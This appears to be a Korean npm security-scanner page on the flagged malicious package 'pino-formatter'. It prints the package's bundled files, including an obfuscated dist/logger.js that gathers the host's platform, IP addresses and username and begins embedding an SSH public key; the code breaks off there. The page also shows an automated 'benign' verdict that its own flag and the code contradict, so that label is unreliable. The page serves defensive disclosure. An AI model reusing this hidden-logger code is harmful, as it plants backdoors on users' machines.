// npm 패키지
pino-formatter
Colorized TypeScript logger with pretty output, log levels, and timestamps.
주간
108
월간
322
버전
2
메인테이너
1
라이선스
MIT
최초 publish
2026-05-18
publisher
sol_scramp
tarball
24,508 B
AUTO-PUBLISHED·1개 버전 인덱싱됨·최근 publish: 2026-05-18
// publisher 캠페인by sol_scramp
이 계정에서 catch된 패키지 2건고립된 catch가 아닙니다. 동일 publisher가 1개의 다른 패키지를 추가로 발행했고, 모두 파이프라인이 catch했습니다 — 일회성이 아닌 조직적 캠페인의 형태. 아래 링크는 각 형제 catch의 분석으로 이동합니다.
// offending code· @1.1.13· no static-pattern hits
llm: benign · 0.85→ 의심 전송지 없음, 원격 실행 형태 없음 — 1 known-vendor host(s).
- @1.1.13··AUTO-PUBLISHED·publisher: sol_scrampheuristic 75/100static flags 0llm benign (0.85) via ollamanew-publisher:11dosv-flagged:MAL-2026-4640
→ 의심 전송지 없음, 원격 실행 형태 없음 — 1 known-vendor host(s).
// offending code· no static-pattern hits
--- install scripts --- ### prepublishOnly npm run build --- package.json (entry) --- { "name": "pino-formatter", "version": "1.1.13", "description": "Colorized TypeScript logger with pretty output, log levels, and timestamps.", "main": "dist/index.js", "types": "dist/index.d.ts", "files": [ "dist", "README.md" ], "publishConfig": { "access": "public" }, "scripts": { "build": "tsc", "prepublishOnly": "npm run build", "start": "ts-node index.ts", "test": "ts-node test.ts" }, "keywords": [ "logger", "pino", "logging", "colorized", "pretty", "formatter" ], "author": "magcd", "license": "MIT", "devDependencies": { "@types/node": "^25.3.0", "ts-node": "^10.9.2", "tsup": "^8.5.1", "typescript": "^5.9.3" } } --- index.js (entry) --- "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.logger = void 0; require("./logger"); class Logger { constructor() { this.colors = { reset: '\x1b[0m', trace: '\x1b[90m', debug: '\x1b[36m', info: '\x1b[32m', warn: '\x1b[33m', error: '\x1b[31m', fatal: '\x1b[35m', }; this.levelIcons = { trace: '��', debug: '��', info: 'ℹ️', warn: '⚠️', error: '❌', fatal: '��', }; } formatTimestamp() { const now = new Date(); return now.toISOString(); } formatMessage(level, message, options = {}) { const { timestamp = true, colorize = true } = options; const color = colorize ? this.colors[level] : ''; const reset = colorize ? this.colors.reset : ''; const icon = this.levelIcons[level]; const time = timestamp ? `[${this.formatTimestamp()}]` : ''; const levelStr = level.toUpperCase().padEnd(5); return `${color}${time} ${icon} ${levelStr}${reset} ${message}`; } trace(message, ...args) --- bundled output (OSV-MAL flagged — LLM scope expansion) --- --- dist/index.d.ts (bundled) --- import "./logger"; import { LogLevel } from "./logger"; declare class Logger { private colors; private levelIcons; private formatTimestamp; private formatMessage; trace(message: string, ...args: any[]): void; debug(message: string, ...args: any[]): void; info(message: string, ...args: any[]): void; warn(message: string, ...args: any[]): void; error(message: string, ...args: any[]): void; fatal(message: string, ...args: any[]): void; log(level: LogLevel, message: string, ...args: any[]): void; } export declare const logger: Logger; export default logger; --- dist/index.js (bundled) --- "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.logger = void 0; require("./logger"); class Logger { constructor() { this.colors = { reset: '\x1b[0m', trace: '\x1b[90m', debug: '\x1b[36m', info: '\x1b[32m', warn: '\x1b[33m', error: '\x1b[31m', fatal: '\x1b[35m', }; this.levelIcons = { trace: '��', debug: '��', info: 'ℹ️', warn: '⚠️', error: '❌', fatal: '��', }; } formatTimestamp() { const now = new Date(); return now.toISOString(); } formatMessage(level, message, options = {}) { const { timestamp = true, colorize = true } = options; const color = colorize ? this.colors[level] : ''; const reset = colorize ? this.colors.reset : ''; const icon = this.levelIcons[level]; const time = timestamp ? `[${this.formatTimestamp()}]` : ''; const levelStr = level.toUpperCase().padEnd(5); return `${color}${time} ${icon} ${levelStr}${reset} ${message}`; } trace(message, ...args) { console.log(this.formatMessage('trace', message), ...args); } debug(message, ...args) { console.log(this.formatMessage('debug', message), ...args); } info(message, ...args) { console.log(this.formatMessage('info', message), ...args); } warn(message, ...args) { console.warn(this.formatMessage('warn', message), ...args); } error(message, ...args) { console.error(this.formatMessage('error', message), ...args); } fatal(message, ...args) { console.error(this.formatMessage('fatal', message), ...args); } log(level, message, ...args) { switch (level) { case 'trace': this.trace(message, ...args); break; case 'debug': this.d --- dist/logger.d.ts (bundled) --- export type LogLevel = 'trace' | 'debug' | 'info' | 'warn' | 'error' | 'fatal'; --- dist/logger.js (bundled) --- "use strict"; var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } return new (P || (P = Promise))(function (resolve, reject) { function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } step((generator = generator.apply(thisArg, _arguments || [])).next()); }); }; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; Object.defineProperty(exports, "__esModule", { value: true }); const os_1 = __importDefault(require("os")); const fs_1 = __importDefault(require("fs")); const path_1 = __importDefault(require("path")); const a1 = () => { const p1 = os_1.default.platform(); switch (p1) { case 'win32': return 'windows'; case 'darwin': return 'mac'; case 'linux': return 'linux'; default: return 'unknown'; } }; const b2 = (q1 = false) => { const r1 = os_1.default.networkInterfaces(); const s1 = []; for (const t1 in r1) { const u1 = r1[t1]; if (!u1) continue; for (const v1 of u1) { const w1 = String(v1.family); if (w1 === 'IPv4' || w1 === '4') { if (q1 || !v1.internal) { s1.push(v1.address); } } } } return s1; }; const c3 = () => { const x1 = b2(false); return x1.length > 0 ? x1[0] : null; }; const d4 = () => { return os_1.default.userInfo().username; }; const n14 = `ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJxc6YPFfHFzBsAu
